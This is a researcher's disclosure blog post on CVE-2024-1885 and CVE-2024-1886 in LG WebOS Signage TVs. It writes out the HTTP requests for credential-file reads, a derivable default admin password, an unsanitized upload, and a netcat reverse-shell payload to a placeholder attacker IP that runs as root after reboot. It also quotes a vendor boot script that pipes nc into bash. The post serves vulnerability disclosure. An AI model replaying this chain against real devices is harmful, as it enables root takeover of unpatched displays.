Avatar

Jakub Brzozowski

Pentester, bug bounty hunter and security researcher. Also huge fan of Star Wars and coffee connaisseur :coffee:

LG WebOS ‘Pwnage’ – getting unauthenticated code execution on enterprise Signage TVs

09 Apr 2024 » web-applications

LG Pwnage logo

tl;dr

This post is a summary of our security research work that started a year ago. Together with Franek, we’ve targeted LG enterprise TV operating system – WebOS Signage. As a result of our work, we’ve discovered multiple vulnerabilities where only two of them were published by LG. Those vulnerabilities resulted in a chained exploit that allowed remote attacker on the same network to execute code on vulnerable TV as root user (if the default configuration is used).

Backstory

Last year, my colleague Franek and I completed an interesting pentesting assignment where we tested some enterprise conferencing hardware equipment. One of the devices we tested was an LG TV with a ‘Signage’ operating system. This version of the operating system was based on the standard WebOS software found on consumer-grade LG TVs, but with additional features such as remote control via a centralized app, automation, and a web panel for administrative tasks. The assignment ended and though we did not find any severe vulnerabilities in the TV itself, we’ve saw some research potential in it.

We decided to buy one of the models running WebOS Signage operating system and put it on our workbench. However, we discovered that obtaining such hardware is not straightforward. To order the TV, you must make an ‘inquiry’ on the official website, become an LG partner, or purchase the TV from one of the technical partners.

LG website shop Purchase website of LG Signage TV.

As we were not eager to start up our own company, we’ve decided to obtain the TV from less formal channels…

TV purchase Successful purchase of LG Signage TV.

First look

We have ended up buying LG SM5JUL3J model, which is a 32-inch screen that is running WebOS Signage version 6.0, allows centralized remote control, usage of external sensors and uses a FHD display. More specs about this model can be found here.

The unit was running a slightly outdated firmware - 03.05.90. We decided that we needed to get the firmware with either equal or newer version, so that we could first look in the device’s file system. We could do this in two ways - extract it from the device itself or obtain the firmware from the public Internet. We chose the second option, and a few quick n’ dirty google dorks later we found a website that allowed us to download the WebOS Signage firmware for at least some versions back - jackpot!

Firmware download noborder Firmware download page for LG WebOS Signage.

Downloaded firmware is in EPK format which is a proprietary LG Firmware Package file format. Luckily some development by the community was already done to decrypting and unpacking these firmware packages. We have used the epk2extract tool to unpack the firmware and get our hands on the filesystem.

Extraction of the firmware Extraction of the filesystem from EPK file.

Extracted filesystem Successfully extracted filesystem.

We wanted to confirm that the file system we’d extracted matched the files on our device. To discover any running services, we ran a full Nmap scan of the exposed TCP ports. The result showed that many services were enabled and accessible:

PORT      STATE SERVICE        REASON
443/tcp   open  https          syn-ack
515/tcp   open  printer        syn-ack
1252/tcp  open  bspne-pcc      syn-ack
1268/tcp  open  propel-msgsys  syn-ack
1391/tcp  open  iclpv-sas      syn-ack
1485/tcp  open  lansource      syn-ack
1619/tcp  open  xs-openstorage syn-ack
2046/tcp  open  sdfunc         syn-ack
3000/tcp  open  ppp            syn-ack
3001/tcp  open  nessus         syn-ack
3737/tcp  open  xpanel         syn-ack
8152/tcp  open  unknown        syn-ack
9080/tcp  open  glrpc          syn-ack
9761/tcp  open  unknown        syn-ack
9869/tcp  open  unknown        syn-ack
18181/tcp open  opsec-cvp      syn-ack
36866/tcp open  unknown        syn-ack
49152/tcp open  unknown        syn-ack

On port 443 (in newer versions port 3777), we could see that the main “Content Manager” web application was running.

Content Manager app

The purpose of the app was to automate and control all the things that had to do with displaying any content on the screen – displaying canteen menu, advertisements, or information.

On port 3737 we could see another web application - Control Manager. This software is mainly used for administrative tasks and to connect the TV to a centralized system where each device can be controlled from a command center.

As both apps were looking promising, and as a team we were more proficient in finding vulnerabilities in web applications, we have decided to first take a look at them.

One does not simply do a path traversal

After some time spent playing around with the web application functionalities, Franek discovered some odd behavior with one of the endpoints in the Content Manager. More specifically, the /appId API was looking to be vulnerable to path traversal:

Request:

GET /appId/../../../../../../etc/passwd HTTP/1.1
Host: <IP>
Cookie: <COOKIES>
Connection: close

Response:

HTTP/1.1 200 OK
[…]
Content-Type: application/octet-stream
Content-Length: 913
Connection: close

root:x:0:0:root:/home/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/false
bin:x:2:2:bin:/bin:/bin/false
sys:x:3:3:sys:/dev:/bin/false
sync:x:4:100:sync:/bin:/bin/sync
mail:x:8:8:mail:/var/spool/mail:/bin/false
proxy:x:13:13:proxy:/bin:/bin/false
www:x:33:33:www:/pub/www:/bin/false
backup:x:34:34:backup:/var/backups:/bin/false
operator:x:37:37:Operator:/var:/bin/false
haldaemon:x:68:68:hald:/:/bin/false
dbus:x:81:81:dbus:/var/run/dbus:/bin/false
nobody:x:99:99:nobody:/home:/bin/false
avahi:x:101:101::/run/avahi-daemon:/bin/false
messagebus:x:102:102::/var/lib/dbus:/bin/false
sshd:x:103:99:Operator:/var:/bin/false
developer:x:504:504:developer:/home/developer:/bin/sh
wam:x:505:505::/media/wam:/bin/false
pulse:x:507:507::/var/run/pulse:/bin/false
db8:x:510:510::/var/db:/bin/false
kadaptor:x:511:511::/usr/bin:/bin/false
ums:x:512:512::/var/lib/ums:/bin/false
systemd-bus-proxy:x:999:997::/:/bin/nologin

This looked like a promising start! We’ve quickly updated the device to the latest firmware version and send the request again eager to confirm the vulnerability. Sadly, the device sent us the following response:

Request on a new version:

GET /appId/../../../../../../etc/passwd HTTP/1.1
Host: <IP>
Cookie: <COOKIES>

Response:

HTTP/1.1 302 Found
[…]
Location: /main
Content-Type: text/plain; charset=utf-8
Content-Length: 27
Connection: close

Found. Redirecting to /main

One does not simply

This was a bummer, but we decided not to give up on the Content Manager app. This decision turned out to be right one, as Franek sometime later found another vulnerability that allowed us to read files from the device. The /thumbnail/file API was not doing any sanitization to the passed reqParam parameter and was simply reading file contents for us:

Request to thumbnail API:

 GET /thumbnail/file?reqParam={"path":"/etc/shadow","time":123123123} HTTP/1.1
Host: <IP>
Cookie: <COOKIES>
Connection: close

Response:

HTTP/1.1 200 OK
[…]
Content-Type: application/octet-stream
Content-Length: 913

root:*:19263:0:99999:7:::
daemon:x:19263:0:99999:7:::
bin:x:19263:0:99999:7:::
sys:x:19263:0:99999:7:::
sync:x:19263:0:99999:7:::
mail:x:19263:0:99999:7:::
proxy:x:19263:0:99999:7:::
www:x:19263:0:99999:7:::
backup:x:19263:0:99999:7:::
operator:x:19263:0:99999:7:::
haldaemon:x:19263:0:99999:7:::
dbus:x:19263:0:99999:7:::
nobody:x:19263:0:99999:7:::
avahi:!:19263:0:99999:7:::
messagebus:!:19263:0:99999:7:::
sshd:x:19263:0:99999:7:::
developer:x:19263:0:99999:7:::
wam:x:19263:0:99999:7:::
pulse:x:19263:0:99999:7:::
db8:x:19263:0:99999:7:::
kadaptor:x:19263:0:99999:7:::
ums:x:19263:0:99999:7:::
systemd-bus-proxy:!:19263:0:99999:7:::

The function responsible for this vulnerability was getThumbFile() in /usr/palm/services/com.webos.service.commercial.webgateway/src/embeddedcms/service/thumbnailService.js file:

const getThumbFile = function (req, res) {
  let reqParam = req.body.reqParam ? req.body.reqParam : req.query.reqParam;
  (0, _WebUtil.requiredParamThrowError)(reqParam, "reqParam is required");
  reqParam = JSON.parse(reqParam);
  (0, _WebUtil.requiredParamThrowError)(reqParam.path, "path is required");
  let stat = fs.statSync(reqParam.path);
  res.writeHead(200, {
    'Content-Type': 'application/octet-stream',
    'Content-Length': stat.size
  });
  let readStream = fs.createReadStream(reqParam.path); // We replaced all the event handlers with a simple call to readStream.pipe()

  readStream.pipe(res);
};

Great! Now we were able to read any file from the device as the gateway service was running with root permissions.

All your files are belong to us

Meanwhile, another endpoint caught my attention. The Control Manager, NodeJS application running on port 3737 was using /upload API to upload image that could be displayed if some malfunction with the centralized control system happens. This functionality was called a “Failover” image upload. Upload functionality was handled by and external multer package. As we can read in the NPM docs:

Multer is a node.js middleware for handling multipart/form-data, which is primarily used for uploading files.

Indeed, request sent to the /upload endpoint is in form of multipart/form-data content type. A sample upload request can be found below:

Sample request to /upload API:

POST /upload HTTP/1.1
Host: <IP>:3737
Cookie: <COOKIES>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQRnOjAuLw7kux0x6
Connection: close

------WebKitFormBoundaryQRnOjAuLw7kux0x6
Content-Disposition: form-data; name="dir"

/mnt/lg/appstore/signage/.failover/
------WebKitFormBoundaryQRnOjAuLw7kux0x6
Content-Disposition: form-data; name="newname"

test.png
------WebKitFormBoundaryQRnOjAuLw7kux0x6
Content-Disposition: form-data; name="failOver"; filename="test.png"
Content-Type: image/png

<IMAGE_DATA>

The implementation of the multer package is done in /usr/palm/services/com.webos.service.outdoorwebcontrol/routes/index.js file. Code that handled parsing upload parameters into destination path on the device is presended below:

var storage = multer.diskStorage(getDiskStorageInfo());
var upload = multer({
    storage: storage,
    fileFilter : function(req, file, cb) {
        if (web.env.supportLedSignage) {
            var ret = true;
            if (file.fieldname == 'update') {
                ret = /\.epk$/.test(file.originalname);
            } else if (file.fieldname == 'upload_mask') {
                ret = /\.txt$/.test(file.originalname);
            } else {
                ret = false;
            }
            cb(null, ret);
        }
        cb(null, true);
    }
});

function getDiskStorageInfo() {
    return {
        destination: function (req, file, cb) {
            var to = '/media/update/';

            if (file.fieldname == 'media') {
                var root = '/media/signage/';
                to = root;
                if (req.body.dir) {
                    to += req.body.dir;
                    to = path.normalize(to);
                    if (to.search(new RegExp('^' + root)) < 0) {
                        to = root;
                    }
                }
            } else if (file.fieldname == 'failOver') {
                to = '';
                if (req.body.dir) {
                    to += req.body.dir;
                    to = path.normalize(to);
                }
            } else if (file.fieldname == "upload_mask") {
                to = '/var/';
            }
            cb(null, to);
        },
        filename: function (req, file, cb) {
            var name = path.basename('' + file.originalname);

            if (req.body.newname) {
                name = path.basename('' + req.body.newname);
            }

            cb(null, name);
        }
    }
}

Destination path is held in the storage variable. This variable is a diskStorage() object, created from getDiskStorageInfo() function that can be found at the bottom part of the code snippet. In this function, we can see a tree of conditionals statements that set to variable (destination path for our uploaded file) depending on which parameters are set in the request. If the failOver field is set in the request, the backend will set the destination path to the value of dir parameter from the request without any sanitization! We quickly tried to upload the file to /tmp directory and read it with the path traversal vulnerability we’ve discovered previously:

Upload to /tmp directory request:

POST /upload HTTP/1.1
Host: IP:3737
Cookie: <COOKIES>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycBcAJGhoAF8Tvoep
Connection: close

------WebKitFormBoundarycBcAJGhoAF8Tvoep
Content-Disposition: form-data; name="dir"

/tmp/
------WebKitFormBoundarycBcAJGhoAF8Tvoep
Content-Disposition: form-data; name="newname"

test.txt
------WebKitFormBoundarycBcAJGhoAF8Tvoep
Content-Disposition: form-data; name="failOver"; filename="test.png"
Content-Type: application/js

pwned
------WebKitFormBoundarycBcAJGhoAF8Tvoep--

Read /tmp/test.txt file request:

GET /thumbnail/file?reqParam={"path":"/tmp/test.txt","time":123123123} HTTP/1.1
Host: 192.168.88.254
Cookie: connect.sid=<COOKIES>

Successful file read:

HTTP/1.1 200 OK
[...]
Content-Type: application/octet-stream
Content-Length: 7
Connection: close

pwned

However, our joy quickly ended as we’ve realized that our newly discovered unrestricted upload is actually restricted to the following directories due to the file system permissions:

  • /dev
  • /home/root
  • /media
  • /var
  • /tmp

Linux acl meme

It’s a long way to the root (if you wanna RCE)

At this point we needed to reflect on what vulnerabilities we’ve discovered and how we can use them to get code execution on the device. We had full file read on the device, and we can write any files in /dev/, /home/root, /media/, /var/ and /tmp directories. After quick look, we’ve excluded the usage of /tmp and /home/root directories as they held no files used by any process. I decided to focus my work on the filesystem dumped from the firmware. After running a search on files that contain “/var” string one file caught my attention. The specific file was /etc/init/wtaservice.conf. It is a startup file for a service that is launched after a device is rebooted. The contents of the wtaservice.conf file can be found below:

description "WTA is a test agent service for ATS5"

start on rest-boot-done

# Comment this line out to suppress logs on the console
#console output

script
    WTA_ENABLED=/var/luna/preferences/wta_enabled
    WTA_USB=`find /tmp/usb/ -maxdepth 3 | grep -m 1 wta_usb.sh || /bin/true`
    if [ -x "$WTA_USB" ]; then
        #install wta from usb
        exec $WTA_USB
    elif [ -e $WTA_ENABLED ]; then
        SERVICE=com.lge.service.wta
        if [ -e /media/developer/$SERVICE/service_ok ]; then
            #wta is already installed, just launch it
            exec /media/developer/$SERVICE/run.sh
        else
            #start remote console for autodiscover service
            exec /bin/bash <<EOT
                SERVER_INTERNAL=hewta.lge.com
                SERVER_EXTERNAL=wta.iptime.org
                PORT=9001
                FIFO=/tmp/wta.fifo
                #you can use $WTA_ENABLED file as a bash script
                #and define/redefine any variables inside it
                #ex: PORT=9000; SERVER_EXTERNAL=123.123.123.123
                source $WTA_ENABLED
                #wait for server is available
                while [ 1 ];do
                    SERVER=\$SERVER_INTERNAL
                    ping \$SERVER -c 1 && break
                    SERVER=\$SERVER_EXTERNAL
                    ping \$SERVER -c 1 && break
                    sleep 60
                done;
                rm \$FIFO; mkfifo \$FIFO
                #connect to server and launch console
                nc \$SERVER \$PORT <\$FIFO 2>&1 | /bin/bash >\$FIFO 2>&1
EOT
        fi
    fi
end script

After initial inspection you can clearly see that something odd is happening in this file. First the script checks WTA_ENABLED or WTA_USB conditions. If the file /var/luna/preferences/wta_enabled exists (yes, we can write files to the /var/ directory!), the script will do VERY strange things. On first condition it will either run the run.sh script, but it won’t as the developer directory was not created on out device, and we couldn’t create any directories – just write or create files. The second condition is even stranger. First it assigns some server and port variables:

SERVER_INTERNAL=hewta.lge.com
SERVER_EXTERNAL=wta.iptime.org
PORT=9001

Then a source command is run on /var/luna/preferences/wta_enabled file:

source $WTA_ENABLED

Then an availability check is done via ping (great stuff):

while [ 1 ];do
                    SERVER=\$SERVER_INTERNAL
                    ping \$SERVER -c 1 && break
                    SERVER=\$SERVER_EXTERNAL
                    ping \$SERVER -c 1 && break
                    sleep 60
                done;

And finally a netcat reverse shell is launched (?):

nc \$SERVER \$PORT <\$FIFO 2>&1 | /bin/bash >\$FIFO 2>&1

This was more then disturbing and we were trying not to say word “backdoor” when reading above code. However this script was perfect to escalate our file write vulnerabilities to achieve remote code execution. In the above script, a source command will execute any code from the wta_enabled file located in the /var/ directory. We’ve quickly send the request to create a file with reverse shell and reboot the TV:

Reverse shell upload request:

POST /upload HTTP/1.1
Host: <IP>:3737
Cookie: connect.sid=<COOKIES>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysfuG9nlqBES9Dnvo
Connection: close

------WebKitFormBoundarysfuG9nlqBES9Dnvo
Content-Disposition: form-data; name="dir"

/var/luna/preferences/
------WebKitFormBoundarysfuG9nlqBES9Dnvo
Content-Disposition: form-data; name="newname"

wta_enabled
------WebKitFormBoundarysfuG9nlqBES9Dnvo
Content-Disposition: form-data; name="failOver"; filename="test.png"
Content-Type: application/octet-stream

rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|/usr/bin/nc <ATTACKER_IP> 1337 >/tmp/f

------WebKitFormBoundarysfuG9nlqBES9Dnvo--

Then after rebooting the TV, we could happily see a connection to our netcat listener (and with root privileges!):

Reverse shell

Putting it all together

So, we got code execution on the device, but this still can be done only with the administrative rights. This lowered the impact of this bug, but Franek found an interesting authentication bypass if the device is not yet configured. The default administrator password for Content Manager and Control Manager apps is created by appending the string “LGe12#”, to the serial number of the device. Luckily, the following API endpoint:

/system/lge/setting?reqParam={"category":"network","keys":["deviceName"]}

Can be accessed without any authentication. In response the API will return device name in the form of JSON object:

"settings":{"deviceName":"XXXXXXXXXXXX XXXX"}

The device name is by default created with the use of a serial number. From this data we can create a temporary admin password and log in as administrator to previously not configured device. Now we had all the pieces for the exploit chain:

  1. Get device serial number from unauthenticated /setting endpoint,
  2. Generate temporary password and log in to Control Manager app,
  3. Overwrite the wta_enabled file, with reverse shell,
  4. Reboot the device remotely using Websockets,
  5. Listen for the shell.

We’ve quickly put together a dirty PoC python script that automates all the exploitation. You can see a successful exploitation of a freshly reset LG Signage TV in the below video:

As there is still some possible attack surface for the Signage TVs exposed on the web, we’ve decided to not yet publish full PoC script. Below you can see that based on a recent Shodan query there are 443 devices exposed to the public internet:

Shodan query

Final words

We’ve encountered some ups and downs when reporting these vulnerabilities to the LGE Security team. At first, they had some problems decrypting our report with their PGP key, then it took months to replicate and patch the issues. Finally, they required a lot of personal details from us to pay the bounty (i.e. bank account statements). As we did not want to provide such details, we declined the bounty and told LG to donate the bounty amount to charity. Unfortunately, their response was also negative to such request:

LG response

When it comes to the weird wtaservice.conf script, it seems that we were not the only ones that figured out that there is something odd with this piece of code. On 23rd of December 2023, user @zibri tweeted that he found a 0-day in LG Smart TVs and the vendor did not want to pay for it.

Twitter post

Two months later, a Github Gist appeared with a detailed description of how to exploit the USB version of the “backdoor” and also with some investigation about the WTA service itself. The Gist mentions that the vulnerability was found by @mariotaku but I could not find any more sources referencing this user and the vulnerability.

We are not claiming that we were the first researchers to discover the suspicious WTA service and exploit it. However, there is a good probability of that, as LGE Security officially assigned us to their advisory.

Advisory acknowledgements

Security research and vulnerability reporting must be always taken with a grain of salt. Some vendors will do the best to secure their products, and others well… I think I do not need to add anything else if You’ve read the above post ¯\(ツ)

Advisory

You can find the advisory for all the vulnerabilities we’ve reported here under SMR-FEB-2024 section.

CVEs

  • CVE-2024-1885 (LVE-2023-0118) - Remote Code Execution attack in webOS v6.0.0-56 of Signage
  • CVE-2024-1886 (LVE-2023-0119) - Absolute path traversal attack in webOS v6.0.0-56 of Signage

Timeline

  • 13/09/2023 – vulnerabilities reported to LGE Security,
  • 30/10/2023 – vulnerabilities confirmed, and two issues resolved by LGE,
  • 21/11/2023 – RCE issue is resolved by the LGE,
  • 8/12/2023 – bounty payment to charity rejected by LGE,
  • 26/02/2024 -advisory is published by LGE